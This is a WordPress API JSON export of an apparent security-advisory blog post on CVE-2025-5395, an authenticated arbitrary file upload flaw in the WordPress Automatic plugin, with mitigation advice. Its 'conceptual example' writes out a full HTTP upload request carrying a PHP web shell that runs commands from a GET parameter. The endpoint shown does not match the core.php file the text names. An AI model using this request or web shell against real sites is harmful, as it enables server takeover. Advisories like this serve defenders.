{"id":53333,"date":"2025-06-18T17:35:05","date_gmt":"2025-06-18T17:35:05","guid":{"rendered":""},"modified":"2025-09-16T12:32:32","modified_gmt":"2025-09-16T18:32:32","slug":"cve-2025-5395-arbitrary-file-upload-vulnerability-in-wordpress-automatic-plugin","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-5395-arbitrary-file-upload-vulnerability-in-wordpress-automatic-plugin\/","title":{"rendered":"<strong>CVE-2025-5395: Arbitrary File Upload Vulnerability in WordPress Automatic Plugin<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A severe vulnerability has been recently discovered in the WordPress Automatic Plugin. The vulnerability, tagged as CVE-2025-5395, allows attackers with author-level access or higher to upload arbitrary files on the affected site&#8217;s server. This could potentially lead to remote code execution, causing significant damage and <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31222-potential-privilege-elevation-and-system-compromise-vulnerability\/\"  data-wpil-monitor-id=\"59742\">compromise to systems<\/a> and data. Given that WordPress powers approximately 39.5% of all websites globally, the ramifications of such a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30618-critical-deserialization-vulnerability-in-rapyd-payment-extension-for-woocommerce\/\"  data-wpil-monitor-id=\"62359\">vulnerability are extensive<\/a>, and immediate attention is required.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-5395<br \/>\nSeverity: High (8.8 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: User (Author-level access and above)<br \/>\nUser Interaction: Required (<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5821-critical-authentication-bypass-vulnerability-in-case-theme-user-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"83355\">User must be authenticated<\/a>)<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5867-critical-vulnerability-in-rt-thread-5-1-0-leading-to-system-compromise-or-data-leakage\/\"  data-wpil-monitor-id=\"64417\">System compromise<\/a>, potential data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1714328500\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6755-wordpress-plugin-vulnerability-leads-to-arbitrary-file-deletion\/\"  data-wpil-monitor-id=\"65607\">WordPress Automatic Plugin<\/a> | Up to and including 3.115.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability resides in the core.php <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5482-privilege-escalation-vulnerability-in-sunshine-photo-cart-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"59741\">file of the WordPress Automatic<\/a> Plugin. Due to insufficient file type validation measures, an attacker with author-level or higher access can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32291-critical-file-upload-vulnerability-in-fantasticplugins-sumo-affiliates-pro\/\"  data-wpil-monitor-id=\"60204\">upload arbitrary files<\/a> to the server. This means that an attacker could potentially upload malicious files or scripts that could execute harmful commands, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-21475-critical-memory-corruption-vulnerability-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"59922\">leading to system<\/a> compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2126411478\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how this vulnerability might be exploited. It illustrates an <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5739-critical-buffer-overflow-vulnerability-in-totolink-x15-http-post-request-handler\/\"  data-wpil-monitor-id=\"59823\">HTTP POST request<\/a> that uploads a malicious PHP file to the server.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/wp-content\/plugins\/wordpress-automatic-plugin\/upload.php HTTP\/1.1\nHost: target.example.com\nContent-Type: multipart\/form-data; boundary=---123456789\n-----123456789\nContent-Disposition: form-data; name=&quot;file&quot;; filename=&quot;malicious.php&quot;\nContent-Type: application\/x-php\n&lt;?php\nsystem($_GET[&#039;cmd&#039;]);\n?&gt;\n-----123456789--<\/code><\/pre>\n<p>In the above example, a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47586-php-remote-file-inclusion-vulnerability-in-stylemixthemes-motors-events\/\"  data-wpil-monitor-id=\"59946\">PHP file<\/a> that accepts a command via an HTTP GET parameter and passes it to the system function is being uploaded. Once uploaded and executed, this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32977-unauthenticated-backup-file-upload-vulnerability-in-quest-kace-systems-management-appliance\/\"  data-wpil-monitor-id=\"64416\">file could cause significant damage to the system<\/a>.<\/p>\n<p><strong>Mitigation and Prevention<\/strong><\/p>\n<p><a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4334-critical-privilege-escalation-vulnerability-in-simple-user-registration-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"64950\">Users of the WordPress Automatic Plugin<\/a> are advised to immediately update to the latest version of the plugin. If an update is not possible, implementing a web application firewall (WAF) or intrusion detection system (IDS) can provide temporary mitigation. These tools can help detect and block suspicious activities or requests, providing an additional layer of security against <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3090-unauthenticated-remote-attack-leading-to-potential-data-leakage-and-system-compromise\/\"  data-wpil-monitor-id=\"64951\">potential attacks<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A severe vulnerability has been recently discovered in the WordPress Automatic Plugin. The vulnerability, tagged as CVE-2025-5395, allows attackers with author-level access or higher to upload arbitrary files on the affected site&#8217;s server. This could potentially lead to remote code execution, causing significant damage and compromise to systems and data. Given that WordPress powers [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-53333","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/53333","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=53333"}],"version-history":[{"count":10,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/53333\/revisions"}],"predecessor-version":[{"id":75893,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/53333\/revisions\/75893"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=53333"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=53333"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=53333"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=53333"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=53333"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=53333"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=53333"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=53333"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=53333"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}